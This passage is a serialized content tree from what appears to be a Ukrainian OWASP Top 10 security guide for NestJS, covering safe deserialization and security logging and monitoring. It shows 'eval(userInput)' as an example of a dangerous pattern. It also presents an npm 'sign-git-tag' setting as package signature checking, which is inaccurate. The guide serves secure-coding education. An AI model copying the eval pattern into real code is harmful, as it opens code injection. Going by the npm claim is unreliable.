hash",[5096,15856,15857],{},"Auto-update без перевірки цифрового підпису",[5096,15859,15860],{},"Десеріалізація ненадійних даних",[5089,15862,15863],{},[5099,15864,13693],{},[5251,15866,15868],{"className":6416,"code":15867,"language":6418,"meta":5256,"style":5256},"# Використання package-lock.json для integrity hashes\nnpm ci  # Замість npm install у CI\u002FCD\n\n# Перевірка підпису пакетів\nnpm config set sign-git-tag true\n",[5200,15869,15870,15875,15885,15889,15894],{"__ignoreMap":5256},[5260,15871,15872],{"class":5262,"line":5263},[5260,15873,15874],{"class":5266},"# Використання package-lock.json для integrity hashes\n",[5260,15876,15877,15879,15882],{"class":5262,"line":5270},[5260,15878,6425],{"class":5277},[5260,15880,15881],{"class":5284}," ci",[5260,15883,15884],{"class":5266},"  # Замість npm install у CI\u002FCD\n",[5260,15886,15887],{"class":5262,"line":5291},[5260,15888,5577],{"emptyLinePlaceholder":5576},[5260,15890,15891],{"class":5262,"line":5309},[5260,15892,15893],{"class":5266},"# Перевірка підпису пакетів\n",[5260,15895,15896,15898,15901,15904,15907],{"class":5262,"line":5321},[5260,15897,6425],{"class":5277},[5260,15899,15900],{"class":5284}," config",[5260,15902,15903],{"class":5284}," set",[5260,15905,15906],{"class":5284}," sign-git-tag",[5260,15908,15909],{"class":5298}," true\n",[5089,15911,15912],{},[5099,15913,15914],{},"Безпечна десеріалізація:",[5251,15916,15918],{"className":5253,"code":15917,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: eval() або Function() з user input\neval(userInput); \u002F\u002F Ніколи!\n\n\u002F\u002F ✅ БЕЗПЕЧНО: JSON.parse() з валідацією\nimport { plainToClass } from 'class-transformer';\nimport { validate } from 'class-validator';\n\n@Post('data')\nasync processData(@Body() data: string) {\n  \u002F\u002F Парсинг JSON\n  const parsed = JSON.parse(data);\n\n  \u002F\u002F Трансформація у typed клас\n  const dto = plainToClass(CreateUserDto, parsed);\n\n  \u002F\u002F Валідація\n  const errors = await validate(dto);\n  if (errors.length > 0) {\n    throw new BadRequestException('Validation failed');\n  }\n\n  return this.userService.create(dto);\n}\n",[5200,15919,15920,15925,15939,15943,15948,15966,15983,15987,15999,16020,16025,16047,16051,16056,16078,16082,16087,16107,16128,16143,16147,16151,16171],{"__ignoreMap":5256},[5260,15921,15922],{"class":5262,"line":5263},[5260,15923,15924],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: eval() або Function() з user input\n",[5260,15926,15927,15930,15932,15934,15936],{"class":5262,"line":5270},[5260,15928,15929],{"class":5277},"eval",[5260,15931,5281],{"class":5273},[5260,15933,5906],{"class":5341},[5260,15935,13983],{"class":5273},[5260,15937,15938],{"class":5266},"\u002F\u002F Ніколи!\n",[5260,15940,15941],{"class":5262,"line":5291},[5260,15942,5577],{"emptyLinePlaceholder":5576},[5260,15944,15945],{"class":5262,"line":5309},[5260,15946,15947],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: JSON.parse() з валідацією\n",[5260,15949,15950,15952,15954,15957,15959,15961,15964],{"class":5262,"line":5321},[5260,15951,5938],{"class":5294},[5260,15953,6474],{"class":5273},[5260,15955,15956],{"class":5341},"plainToClass",[5260,15958,6480],{"class":5273},[5260,15960,6483],{"class":5294},[5260,15962,15963],{"class":5284}," 'class-transformer'",[5260,15965,5567],{"class":5273},[5260,15967,15968,15970,15972,15975,15977,15979,15981],{"class":5262,"line":5371},[5260,15969,5938],{"class":5294},[5260,15971,6474],{"class":5273},[5260,15973,15974],{"class":5341},"validate",[5260,15976,6480],{"class":5273},[5260,15978,6483],{"class":5294},[5260,15980,6850],{"class":5284},[5260,15982,5567],{"class":5273},[5260,15984,15985],{"class":5262,"line":5377},[5260,15986,5577],{"emptyLinePlaceholder":5576},[5260,15988,15989,15991,15993,15995,15997],{"class":5262,"line":5408},[5260,15990,5274],{"class":5273},[5260,15992,5491],{"class":5277},[5260,15994,5281],{"class":5273},[5260,15996,13067],{"class":5284},[5260,15998,5288],{"class":5273},[5260,16000,16001,16003,16006,16008,16010,16012,16014,16016,16018],{"class":5262,"line":5414},[5260,16002,6676],{"class":5341},[5260,16004,16005],{"class":5277}," processData",[5260,16007,5327],{"class":5273},[5260,16009,5506],{"class":5277},[5260,16011,5357],{"class":5273},[5260,16013,13072],{"class":5341},[5260,16015,5345],{"class":5273},[5260,16017,5348],{"class":5341},[5260,16019,5368],{"class":5273},[5260,16021,16022],{"class":5262,"line":5420},[5260,16023,16024],{"class":5266},"  \u002F\u002F Парсинг JSON\n",[5260,16026,16027,16029,16032,16034,16036,16038,16041,16043,16045],{"class":5262,"line":5580},[5260,16028,5807],{"class":5298},[5260,16030,16031],{"class":5531}," parsed",[5260,16033,5535],{"class":5273},[5260,16035,10018],{"class":5531},[5260,16037,5383],{"class":5273},[5260,16039,16040],{"class":5277},"parse",[5260,16042,5281],{"class":5273},[5260,16044,13072],{"class":5341},[5260,16046,5405],{"class":5273},[5260,16048,16049],{"class":5262,"line":5589},[5260,16050,5577],{"emptyLinePlaceholder":5576},[5260,16052,16053],{"class":5262,"line":5611},[5260,16054,16055],{"class":5266},"  \u002F\u002F Трансформація у typed клас\n",[5260,16057,16058,16060,16062,16064,16066,16068,16071,16073,16076],{"class":5262,"line":5637},[5260,16059,5807],{"class":5298},[5260,16061,9509],{"class":5531},[5260,16063,5535],{"class":5273},[5260,16065,15956],{"class":5277},[5260,16067,5281],{"class":5273},[5260,16069,16070],{"class":5341},"CreateUserDto",[5260,16072,6012],{"class":5273},[5260,16074,16075],{"class":5341},"parsed",[5260,16077,5405],{"class":5273},[5260,16079,16080],{"class":5262,"line":5643},[5260,16081,5577],{"emptyLinePlaceholder":5576},[5260,16083,16084],{"class":5262,"line":5649},[5260,16085,16086],{"class":5266},"  \u002F\u002F Валідація\n",[5260,16088,16089,16091,16094,16096,16098,16101,16103,16105],{"class":5262,"line":5662},[5260,16090,5807],{"class":5298},[5260,16092,16093],{"class":5531}," errors",[5260,16095,5535],{"class":5273},[5260,16097,5538],{"class":5294},[5260,16099,16100],{"class":5277}," validate",[5260,16102,5281],{"class":5273},[5260,16104,5511],{"class":5341},[5260,16106,5405],{"class":5273},[5260,16108,16109,16111,16113,16116,16118,16121,16124,16126],{"class":5262,"line":5698},[5260,16110,10234],{"class":5294},[5260,16112,8600],{"class":5273},[5260,16114,16115],{"class":5341},"errors",[5260,16117,5383],{"class":5273},[5260,16119,16120],{"class":5341},"length",[5260,16122,16123],{"class":5273}," > ",[5260,16125,13139],{"class":5893},[5260,16127,5368],{"class":5273},[5260,16129,16130,16132,16134,16136,16138,16141],{"class":5262,"line":5713},[5260,16131,10666],{"class":5294},[5260,16133,8228],{"class":5298},[5260,16135,12956],{"class":5277},[5260,16137,5281],{"class":5273},[5260,16139,16140],{"class":5284},"'Validation failed'",[5260,16142,5405],{"class":5273},[5260,16144,16145],{"class":5262,"line":5718},[5260,16146,5417],{"class":5273},[5260,16148,16149],{"class":5262,"line":5734},[5260,16150,5577],{"emptyLinePlaceholder":5576},[5260,16152,16153,16155,16157,16159,16161,16163,16165,16167,16169],{"class":5262,"line":5739},[5260,16154,6231],{"class":5294},[5260,16156,5541],{"class":5298},[5260,16158,5383],{"class":5273},[5260,16160,13838],{"class":5341},[5260,16162,5383],{"class":5273},[5260,16164,5551],{"class":5277},[5260,16166,5281],{"class":5273},[5260,16168,5511],{"class":5341},[5260,16170,5405],{"class":5273},[5260,16172,16173],{"class":5262,"line":8257},[5260,16174,5423],{"class":5273},[5238,16176,16178],{"id":16177},"a09-security-logging-and-monitoring-failures","A09: Security Logging and Monitoring Failures",[5089,16180,16181,16183],{},[5099,16182,13664],{}," недостатнє логування безпеки та відсутність моніторингу.",[5089,16185,16186],{},[5099,16187,13670],{},[5093,16189,16190,16193,16196],{},[5096,16191,16192],{},"Не логуються спроби несанкціонованого доступу",[5096,16194,16195],{},"Відсутні алерти при підозрілій активності",[5096,16197,16198],{},"Логи не зберігаються достатньо довго",[5089,16200,16201],{},[5099,16202,13693],{},[5251,16204,16206],{"className":5253,"code":16205,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Finterceptors\u002Fsecurity-logging.interceptor.ts\nimport { Injectable, NestInterceptor, ExecutionContext, CallHandler, Logger } from '@nestjs\u002Fcommon';\nimport { Observable } from 'rxjs';\nimport { tap } from 'rxjs\u002Foperators';\n\n@Injectable()\nexport class SecurityLoggingInterceptor implements NestInterceptor {\n  private logger = new Logger('Security');\n\n  intercept(context: ExecutionContext, next: CallHandler): Observable\u003Cany> {\n    const request = context.switchToHttp().getRequest();\n    const { method, url, ip, user } = request;\n\n    \u002F\u002F Логування важливих дій\n    if (this.isSensitiveEndpoint(url)) {\n      this.logger.log(\n        `[${method}] ${url} | IP: ${ip} | User: ${user?.id || 'anonymous'}`\n      );\n    }\n\n    return next.handle().pipe(\n      tap({\n        error: (error) => {\n          \u002F\u002F Логування помилок безпеки\n          if (error.status === 401 || error.status === 403) {\n            this.logger.warn(\n              `Access denied: [${method}] ${url} | IP: ${ip} | User: ${user?.id || 'anonymous'}`\n            );\n          }\n        },\n      })\n    );\n  }\n\n  private isSensitiveEndpoint(url: string): boolean {\n    const sensitivePatterns = ['\u002Fauth', '\u002Fadmin', '\u002Fusers', '\u002Fpayments'];\n    return sensitivePatterns.some(pattern => url.includes(pattern));\n  }\n}\n",[5200,16207,16208,16213,16245,16261,16277,16281,16289,16304,16323,16327,16357,16377,16406,16410,16415,16434,16449,16500,16505,16509,16513,16529,16536,16553,16558,16591,16607,16652,16657,16662,16667,16671,16675,16679,16683,16704,16733,16764,16768],{"__ignoreMap":5256},[5260,16209,16210],{"class":5262,"line":5263},[5260,16211,16212],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Finterceptors\u002Fsecurity-logging.interceptor.ts\n",[5260,16214,16215,16217,16219,16221,16223,16225,16227,16229,16231,16233,16235,16237,16239,16241,16243],{"class":5262,"line":5270},[5260,16216,5938],{"class":5294},[5260,16218,6474],{"class":5273},[5260,16220,7688],{"class":5341},[5260,16222,6012],{"class":5273},[5260,16224,9714],{"class":5341},[5260,16226,6012],{"class":5273},[5260,16228,7983],{"class":5341},[5260,16230,6012],{"class":5273},[5260,16232,9723],{"class":5341},[5260,16234,6012],{"class":5273},[5260,16236,9728],{"class":5341},[5260,16238,6480],{"class":5273},[5260,16240,6483],{"class":5294},[5260,16242,7995],{"class":5284},[5260,16244,5567],{"class":5273},[5260,16246,16247,16249,16251,16253,16255,16257,16259],{"class":5262,"line":5291},[5260,16248,5938],{"class":5294},[5260,16250,6474],{"class":5273},[5260,16252,9745],{"class":5341},[5260,16254,6480],{"class":5273},[5260,16256,6483],{"class":5294},[5260,16258,9752],{"class":5284},[5260,16260,5567],{"class":5273},[5260,16262,16263,16265,16267,16269,16271,16273,16275],{"class":5262,"line":5309},[5260,16264,5938],{"class":5294},[5260,16266,6474],{"class":5273},[5260,16268,9763],{"class":5341},[5260,16270,6480],{"class":5273},[5260,16272,6483],{"class":5294},[5260,16274,9775],{"class":5284},[5260,16276,5567],{"class":5273},[5260,16278,16279],{"class":5262,"line":5321},[5260,16280,5577],{"emptyLinePlaceholder":5576},[5260,16282,16283,16285,16287],{"class":5262,"line":5371},[5260,16284,5274],{"class":5273},[5260,16286,7688],{"class":5277},[5260,16288,5318],{"class":5273},[5260,16290,16291,16293,16295,16298,16300,16302],{"class":5262,"line":5377},[5260,16292,5295],{"class":5294},[5260,16294,5299],{"class":5298},[5260,16296,16297],{"class":5302}," SecurityLoggingInterceptor",[5260,16299,8021],{"class":5298},[5260,16301,9803],{"class":5302},[5260,16303,5306],{"class":5273},[5260,16305,16306,16308,16310,16312,16314,16316,16318,16321],{"class":5262,"line":5408},[5260,16307,9810],{"class":5298},[5260,16309,9813],{"class":5341},[5260,16311,5535],{"class":5273},[5260,16313,6504],{"class":5298},[5260,16315,9820],{"class":5277},[5260,16317,5281],{"class":5273},[5260,16319,16320],{"class":5284},"'Security'",[5260,16322,5405],{"class":5273},[5260,16324,16325],{"class":5262,"line":5414},[5260,16326,5577],{"emptyLinePlaceholder":5576},[5260,16328,16329,16331,16333,16335,16337,16339,16341,16343,16345,16347,16349,16351,16353,16355],{"class":5262,"line":5420},[5260,16330,9836],{"class":5277},[5260,16332,5281],{"class":5273},[5260,16334,8036],{"class":5341},[5260,16336,5345],{"class":5273},[5260,16338,7983],{"class":5302},[5260,16340,6012],{"class":5273},[5260,16342,9849],{"class":5341},[5260,16344,5345],{"class":5273},[5260,16346,9723],{"class":5302},[5260,16348,6115],{"class":5273},[5260,16350,9745],{"class":5302},[5260,16352,5202],{"class":5273},[5260,16354,9862],{"class":5302},[5260,16356,9865],{"class":5273},[5260,16358,16359,16361,16363,16365,16367,16369,16371,16373,16375],{"class":5262,"line":5580},[5260,16360,5528],{"class":5298},[5260,16362,8054],{"class":5531},[5260,16364,5535],{"class":5273},[5260,16366,8036],{"class":5341},[5260,16368,5383],{"class":5273},[5260,16370,8063],{"class":5277},[5260,16372,8066],{"class":5273},[5260,16374,8069],{"class":5277},[5260,16376,5634],{"class":5273},[5260,16378,16379,16381,16383,16386,16388,16390,16392,16395,16397,16399,16402,16404],{"class":5262,"line":5589},[5260,16380,5528],{"class":5298},[5260,16382,6474],{"class":5273},[5260,16384,16385],{"class":5531},"method",[5260,16387,6012],{"class":5273},[5260,16389,10000],{"class":5531},[5260,16391,6012],{"class":5273},[5260,16393,16394],{"class":5531},"ip",[5260,16396,6012],{"class":5273},[5260,16398,7721],{"class":5531},[5260,16400,16401],{"class":5273}," } = ",[5260,16403,8108],{"class":5341},[5260,16405,5567],{"class":5273},[5260,16407,16408],{"class":5262,"line":5611},[5260,16409,5577],{"emptyLinePlaceholder":5576},[5260,16411,16412],{"class":5262,"line":5637},[5260,16413,16414],{"class":5266},"    \u002F\u002F Логування важливих дій\n",[5260,16416,16417,16419,16421,16423,16425,16428,16430,16432],{"class":5262,"line":5643},[5260,16418,8143],{"class":5294},[5260,16420,8600],{"class":5273},[5260,16422,7740],{"class":5298},[5260,16424,5383],{"class":5273},[5260,16426,16427],{"class":5277},"isSensitiveEndpoint",[5260,16429,5281],{"class":5273},[5260,16431,10000],{"class":5341},[5260,16433,8220],{"class":5273},[5260,16435,16436,16438,16440,16442,16444,16447],{"class":5262,"line":5649},[5260,16437,15675],{"class":5298},[5260,16439,5383],{"class":5273},[5260,16441,9980],{"class":5341},[5260,16443,5383],{"class":5273},[5260,16445,16446],{"class":5277},"log",[5260,16448,5966],{"class":5273},[5260,16450,16451,16454,16456,16458,16460,16463,16465,16467,16469,16472,16474,16476,16478,16481,16483,16485,16488,16490,16493,16496,16498],{"class":5262,"line":5662},[5260,16452,16453],{"class":5284},"        `[",[5260,16455,5394],{"class":5298},[5260,16457,16385],{"class":5341},[5260,16459,5399],{"class":5298},[5260,16461,16462],{"class":5284},"] ",[5260,16464,5394],{"class":5298},[5260,16466,10000],{"class":5341},[5260,16468,5399],{"class":5298},[5260,16470,16471],{"class":5284}," | IP: ",[5260,16473,5394],{"class":5298},[5260,16475,16394],{"class":5341},[5260,16477,5399],{"class":5298},[5260,16479,16480],{"class":5284}," | User: ",[5260,16482,5394],{"class":5298},[5260,16484,7721],{"class":5341},[5260,16486,16487],{"class":5686},"?.",[5260,16489,13750],{"class":5341},[5260,16491,16492],{"class":5273}," ||",[5260,16494,16495],{"class":5284}," 'anonymous'",[5260,16497,5399],{"class":5298},[5260,16499,10067],{"class":5284},[5260,16501,16502],{"class":5262,"line":5698},[5260,16503,16504],{"class":5273},"      );\n",[5260,16506,16507],{"class":5262,"line":5713},[5260,16508,8170],{"class":5273},[5260,16510,16511],{"class":5262,"line":5718},[5260,16512,5577],{"emptyLinePlaceholder":5576},[5260,16514,16515,16517,16519,16521,16523,16525,16527],{"class":5262,"line":5734},[5260,16516,5562],{"class":5294},[5260,16518,9896],{"class":5341},[5260,16520,5383],{"class":5273},[5260,16522,9901],{"class":5277},[5260,16524,8066],{"class":5273},[5260,16526,9906],{"class":5277},[5260,16528,5966],{"class":5273},[5260,16530,16531,16534],{"class":5262,"line":5739},[5260,16532,16533],{"class":5277},"      tap",[5260,16535,5979],{"class":5273},[5260,16537,16538,16541,16543,16545,16547,16549,16551],{"class":5262,"line":8257},[5260,16539,16540],{"class":5277},"        error",[5260,16542,6150],{"class":5341},[5260,16544,8600],{"class":5273},[5260,16546,9919],{"class":5341},[5260,16548,5338],{"class":5273},[5260,16550,6271],{"class":5298},[5260,16552,5306],{"class":5273},[5260,16554,16555],{"class":5262,"line":8262},[5260,16556,16557],{"class":5266},"          \u002F\u002F Логування помилок безпеки\n",[5260,16559,16560,16563,16565,16567,16569,16571,16573,16576,16578,16580,16582,16584,16586,16589],{"class":5262,"line":10095},[5260,16561,16562],{"class":5294},"          if",[5260,16564,8600],{"class":5273},[5260,16566,9919],{"class":5341},[5260,16568,5383],{"class":5273},[5260,16570,9220],{"class":5341},[5260,16572,10771],{"class":5273},[5260,16574,16575],{"class":5893},"401",[5260,16577,10766],{"class":5273},[5260,16579,9919],{"class":5341},[5260,16581,5383],{"class":5273},[5260,16583,9220],{"class":5341},[5260,16585,10771],{"class":5273},[5260,16587,16588],{"class":5893},"403",[5260,16590,5368],{"class":5273},[5260,16592,16593,16596,16598,16600,16602,16605],{"class":5262,"line":10101},[5260,16594,16595],{"class":5298},"            this",[5260,16597,5383],{"class":5273},[5260,16599,9980],{"class":5341},[5260,16601,5383],{"class":5273},[5260,16603,16604],{"class":5277},"warn",[5260,16606,5966],{"class":5273},[5260,16608,16609,16612,16614,16616,16618,16620,16622,16624,16626,16628,16630,16632,16634,16636,16638,16640,16642,16644,16646,16648,16650],{"class":5262,"line":10106},[5260,16610,16611],{"class":5284},"              `Access denied: [",[5260,16613,5394],{"class":5298},[5260,16615,16385],{"class":5341},[5260,16617,5399],{"class":5298},[5260,16619,16462],{"class":5284},[5260,16621,5394],{"class":5298},[5260,16623,10000],{"class":5341},[5260,16625,5399],{"class":5298},[5260,16627,16471],{"class":5284},[5260,16629,5394],{"class":5298},[5260,16631,16394],{"class":5341},[5260,16633,5399],{"class":5298},[5260,16635,16480],{"class":5284},[5260,16637,5394],{"class":5298},[5260,16639,7721],{"class":5341},[5260,16641,16487],{"class":5686},[5260,16643,13750],{"class":5341},[5260,16645,16492],{"class":5273},[5260,16647,16495],{"class":5284},[5260,16649,5399],{"class":5298},[5260,16651,10067],{"class":5284},[5260,16653,16654],{"class":5262,"line":13186},[5260,16655,16656],{"class":5273},"            );\n",[5260,16658,16659],{"class":5262,"line":13191},[5260,16660,16661],{"class":5273},"          }\n",[5260,16663,16664],{"class":5262,"line":13196},[5260,16665,16666],{"class":5273},"        },\n",[5260,16668,16669],{"class":5262,"line":14554},[5260,16670,10092],{"class":5273},[5260,16672,16673],{"class":5262,"line":14559},[5260,16674,10098],{"class":5273},[5260,16676,16677],{"class":5262,"line":14590},[5260,16678,5417],{"class":5273},[5260,16680,16681],{"class":5262,"line":14610},[5260,16682,5577],{"emptyLinePlaceholder":5576},[5260,16684,16685,16687,16690,16692,16694,16696,16698,16700,16702],{"class":5262,"line":14615},[5260,16686,9810],{"class":5298},[5260,16688,16689],{"class":5277}," isSensitiveEndpoint",[5260,16691,5281],{"class":5273},[5260,16693,10000],{"class":5341},[5260,16695,5345],{"class":5273},[5260,16697,5348],{"class":5302},[5260,16699,6115],{"class":5273},[5260,16701,8045],{"class":5302},[5260,16703,5306],{"class":5273},[5260,16705,16706,16708,16711,16713,16716,16718,16721,16723,16726,16728,16731],{"class":5262,"line":14624},[5260,16707,5528],{"class":5298},[5260,16709,16710],{"class":5531}," sensitivePatterns",[5260,16712,8081],{"class":5273},[5260,16714,16715],{"class":5284},"'\u002Fauth'",[5260,16717,6012],{"class":5273},[5260,16719,16720],{"class":5284},"'\u002Fadmin'",[5260,16722,6012],{"class":5273},[5260,16724,16725],{"class":5284},"'\u002Fusers'",[5260,16727,6012],{"class":5273},[5260,16729,16730],{"class":5284},"'\u002Fpayments'",[5260,16732,8092],{"class":5273},[5260,16734,16735,16737,16739,16741,16744,16746,16749,16751,16754,16756,16758,16760,16762],{"class":5262,"line":15776},[5260,16736,5562],{"class":5294},[5260,16738,16710],{"class":5341},[5260,16740,5383],{"class":5273},[5260,16742,16743],{"class":5277},"some",[5260,16745,5281],{"class":5273},[5260,16747,16748],{"class":5341},"pattern",[5260,16750,5676],{"class":5298},[5260,16752,16753],{"class":5341}," url",[5260,16755,5383],{"class":5273},[5260,16757,8208],{"class":5277},[5260,16759,5281],{"class":5273},[5260,16761,16748],{"class":5341},[5260,16763,13168],{"class":5273},[5260,16765,16766],{"class":5262,"line":15781},[5260,16767,5417],{"class":5273},[5260,16769,16770],{"class":5262,"line":15787},[5260,16771,5423],{"class":5273},[5089,16773,16774],{},[5099,16775,16776],{},"Інтеграція з системами моніторингу:",[5251,16778,16780],{"className":5253,"code":16779,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fmonitoring\u002Fsecurity-alerts.service.ts\nimport { Injectable } from '@nestjs\u002Fcommon';\nimport * as Sentry from '@sentry\u002Fnode';\n\n@Injectable()\nexport class SecurityAlertsService {\n  sendAlert(message: string, context: any) {\n    \u002F\u002F Логування\n    console.error(`[SECURITY ALERT] ${message}`, context);\n\n    \u002F\u002F Відправити до Sentry\n    Sentry.captureMessage(message, {\n      level: 'error',\n      extra: context,\n    });\n\n    \u002F\u002F Відправити у Slack (опціонально)\n    \u002F\u002F await this.slackService.sendAlert(message);\n  }\n\n  async checkForAnomalies(userId: string) {\n    \u002F\u002F Приклад: детекція аномальної активності\n    const recentLogins = await this.getRecentLogins(userId);\n\n    \u002F\u002F Якщо логін з нової країни\n    const countries = recentLogins.map(l => l.country);\n    const uniqueCountries = new Set(countries);\n\n    if (uniqueCountries.size > 2) {\n      this.sendAlert('Suspicious login activity detected', {\n        userId,\n        countries: Array.from(uniqueCountries),\n      });\n    }\n  }\n}\n",[5200,16781,16782,16787,16803,16821,16825,16833,16844,16867,16872,16899,16903,16908,16924,16934,16944,16948,16952,16957,16962,16966,16970,16988,16993,17017,17021,17026,17059,17079,17083,17104,17120,17127,17145,17150,17154,17158],{"__ignoreMap":5256},[5260,16783,16784],{"class":5262,"line":5263},[5260,16785,16786],{"class":5266},"\u002F\u002F src\u002Fmonitoring\u002Fsecurity-alerts.service.ts\n",[5260,16788,16789,16791,16793,16795,16797,16799,16801],{"class":5262,"line":5270},[5260,16790,5938],{"class":5294},[5260,16792,6474],{"class":5273},[5260,16794,7688],{"class":5341},[5260,16796,6480],{"class":5273},[5260,16798,6483],{"class":5294},[5260,16800,7995],{"class":5284},[5260,16802,5567],{"class":5273},[5260,16804,16805,16807,16809,16811,16814,16816,16819],{"class":5262,"line":5291},[5260,16806,5938],{"class":5294},[5260,16808,7252],{"class":5298},[5260,16810,6536],{"class":5294},[5260,16812,16813],{"class":5341}," Sentry",[5260,16815,5944],{"class":5294},[5260,16817,16818],{"class":5284}," '@sentry\u002Fnode'",[5260,16820,5567],{"class":5273},[5260,16822,16823],{"class":5262,"line":5309},[5260,16824,5577],{"emptyLinePlaceholder":5576},[5260,16826,16827,16829,16831],{"class":5262,"line":5321},[5260,16828,5274],{"class":5273},[5260,16830,7688],{"class":5277},[5260,16832,5318],{"class":5273},[5260,16834,16835,16837,16839,16842],{"class":5262,"line":5371},[5260,16836,5295],{"class":5294},[5260,16838,5299],{"class":5298},[5260,16840,16841],{"class":5302}," SecurityAlertsService",[5260,16843,5306],{"class":5273},[5260,16845,16846,16849,16851,16853,16855,16857,16859,16861,16863,16865],{"class":5262,"line":5377},[5260,16847,16848],{"class":5277},"  sendAlert",[5260,16850,5281],{"class":5273},[5260,16852,5796],{"class":5341},[5260,16854,5345],{"class":5273},[5260,16856,5348],{"class":5302},[5260,16858,6012],{"class":5273},[5260,16860,8036],{"class":5341},[5260,16862,5345],{"class":5273},[5260,16864,9862],{"class":5302},[5260,16866,5368],{"class":5273},[5260,16868,16869],{"class":5262,"line":5408},[5260,16870,16871],{"class":5266},"    \u002F\u002F Логування\n",[5260,16873,16874,16876,16878,16880,16882,16885,16887,16889,16891,16893,16895,16897],{"class":5262,"line":5414},[5260,16875,15115],{"class":5341},[5260,16877,5383],{"class":5273},[5260,16879,9919],{"class":5277},[5260,16881,5281],{"class":5273},[5260,16883,16884],{"class":5284},"`[SECURITY ALERT] ",[5260,16886,5394],{"class":5298},[5260,16888,5796],{"class":5341},[5260,16890,5399],{"class":5298},[5260,16892,11434],{"class":5284},[5260,16894,6012],{"class":5273},[5260,16896,8036],{"class":5341},[5260,16898,5405],{"class":5273},[5260,16900,16901],{"class":5262,"line":5420},[5260,16902,5577],{"emptyLinePlaceholder":5576},[5260,16904,16905],{"class":5262,"line":5580},[5260,16906,16907],{"class":5266},"    \u002F\u002F Відправити до Sentry\n",[5260,16909,16910,16913,16915,16918,16920,16922],{"class":5262,"line":5589},[5260,16911,16912],{"class":5341},"    Sentry",[5260,16914,5383],{"class":5273},[5260,16916,16917],{"class":5277},"captureMessage",[5260,16919,5281],{"class":5273},[5260,16921,5796],{"class":5341},[5260,16923,6587],{"class":5273},[5260,16925,16926,16929,16932],{"class":5262,"line":5611},[5260,16927,16928],{"class":5341},"      level:",[5260,16930,16931],{"class":5284}," 'error'",[5260,16933,6156],{"class":5273},[5260,16935,16936,16939,16942],{"class":5262,"line":5637},[5260,16937,16938],{"class":5341},"      extra:",[5260,16940,16941],{"class":5341}," context",[5260,16943,6156],{"class":5273},[5260,16945,16946],{"class":5262,"line":5643},[5260,16947,7831],{"class":5273},[5260,16949,16950],{"class":5262,"line":5649},[5260,16951,5577],{"emptyLinePlaceholder":5576},[5260,16953,16954],{"class":5262,"line":5662},[5260,16955,16956],{"class":5266},"    \u002F\u002F Відправити у Slack (опціонально)\n",[5260,16958,16959],{"class":5262,"line":5698},[5260,16960,16961],{"class":5266},"    \u002F\u002F await this.slackService.sendAlert(message);\n",[5260,16963,16964],{"class":5262,"line":5713},[5260,16965,5417],{"class":5273},[5260,16967,16968],{"class":5262,"line":5718},[5260,16969,5577],{"emptyLinePlaceholder":5576},[5260,16971,16972,16974,16977,16979,16982,16984,16986],{"class":5262,"line":5734},[5260,16973,5498],{"class":5298},[5260,16975,16976],{"class":5277}," checkForAnomalies",[5260,16978,5281],{"class":5273},[5260,16980,16981],{"class":5341},"userId",[5260,16983,5345],{"class":5273},[5260,16985,5348],{"class":5302},[5260,16987,5368],{"class":5273},[5260,16989,16990],{"class":5262,"line":5739},[5260,16991,16992],{"class":5266},"    \u002F\u002F Приклад: детекція аномальної активності\n",[5260,16994,16995,16997,17000,17002,17004,17006,17008,17011,17013,17015],{"class":5262,"line":8257},[5260,16996,5528],{"class":5298},[5260,16998,16999],{"class":5531}," recentLogins",[5260,17001,5535],{"class":5273},[5260,17003,5538],{"class":5294},[5260,17005,5541],{"class":5298},[5260,17007,5383],{"class":5273},[5260,17009,17010],{"class":5277},"getRecentLogins",[5260,17012,5281],{"class":5273},[5260,17014,16981],{"class":5341},[5260,17016,5405],{"class":5273},[5260,17018,17019],{"class":5262,"line":8262},[5260,17020,5577],{"emptyLinePlaceholder":5576},[5260,17022,17023],{"class":5262,"line":10095},[5260,17024,17025],{"class":5266},"    \u002F\u002F Якщо логін з нової країни\n",[5260,17027,17028,17030,17033,17035,17038,17040,17042,17044,17047,17049,17052,17054,17057],{"class":5262,"line":10101},[5260,17029,5528],{"class":5298},[5260,17031,17032],{"class":5531}," countries",[5260,17034,5535],{"class":5273},[5260,17036,17037],{"class":5341},"recentLogins",[5260,17039,5383],{"class":5273},[5260,17041,5668],{"class":5277},[5260,17043,5281],{"class":5273},[5260,17045,17046],{"class":5341},"l",[5260,17048,5676],{"class":5298},[5260,17050,17051],{"class":5341}," l",[5260,17053,5383],{"class":5273},[5260,17055,17056],{"class":5341},"country",[5260,17058,5405],{"class":5273},[5260,17060,17061,17063,17066,17068,17070,17072,17074,17077],{"class":5262,"line":10106},[5260,17062,5528],{"class":5298},[5260,17064,17065],{"class":5531}," uniqueCountries",[5260,17067,5535],{"class":5273},[5260,17069,6504],{"class":5298},[5260,17071,11527],{"class":5277},[5260,17073,5281],{"class":5273},[5260,17075,17076],{"class":5341},"countries",[5260,17078,5405],{"class":5273},[5260,17080,17081],{"class":5262,"line":13186},[5260,17082,5577],{"emptyLinePlaceholder":5576},[5260,17084,17085,17087,17089,17092,17094,17097,17099,17102],{"class":5262,"line":13191},[5260,17086,8143],{"class":5294},[5260,17088,8600],{"class":5273},[5260,17090,17091],{"class":5341},"uniqueCountries",[5260,17093,5383],{"class":5273},[5260,17095,17096],{"class":5341},"size",[5260,17098,16123],{"class":5273},[5260,17100,17101],{"class":5893},"2",[5260,17103,5368],{"class":5273},[5260,17105,17106,17108,17110,17113,17115,17118],{"class":5262,"line":13196},[5260,17107,15675],{"class":5298},[5260,17109,5383],{"class":5273},[5260,17111,17112],{"class":5277},"sendAlert",[5260,17114,5281],{"class":5273},[5260,17116,17117],{"class":5284},"'Suspicious login activity detected'",[5260,17119,6587],{"class":5273},[5260,17121,17122,17125],{"class":5262,"line":14554},[5260,17123,17124],{"class":5341},"        userId",[5260,17126,6156],{"class":5273},[5260,17128,17129,17132,17135,17137,17139,17141,17143],{"class":5262,"line":14559},[5260,17130,17131],{"class":5341},"        countries:",[5260,17133,17134],{"class":5341}," Array",[5260,17136,5383],{"class":5273},[5260,17138,6483],{"class":5277},[5260,17140,5281],{"class":5273},[5260,17142,17091],{"class":5341},[5260,17144,14388],{"class":5273},[5260,17146,17147],{"class":5262,"line":14590},[5260,17148,17149],{"class":5273},"      